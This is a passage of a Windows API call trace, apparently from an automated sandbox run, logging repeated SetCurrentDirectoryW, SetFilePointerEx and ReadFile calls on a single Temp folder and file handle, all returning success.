SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.979] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.980] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.980] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.980] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.980] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.980] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.980] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.980] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.980] ReadFile (in: hFile=0x1c, lpBuffer=0x81e088, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x81e088*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.980] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.981] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.981] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.981] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.981] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.981] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.981] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.982] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.982] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.982] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.982] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.982] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.982] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.984] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.984] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.984] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.985] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.985] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.985] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.985] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.985] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.985] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.986] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.986] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.986] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.986] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.986] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.986] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.987] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.988] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.988] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.988] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.988] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.988] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.988] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.989] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.989] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.989] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.989] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.989] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.990] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.991] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.991] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.991] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.991] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.991] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.991] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.992] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.993] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.993] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.993] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.993] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.993] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.993] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.994] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.995] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.995] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.995] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.995] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.995] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.995] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.996] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.996] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.996] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.996] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.998] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.998] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.998] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.998] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.998] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.999] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.999] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.999] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.999] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.999] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.000] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.001] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.001] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.001] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.001] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.001] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.002] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.002] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.002] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.002] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.002] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.002] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0072.004] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: 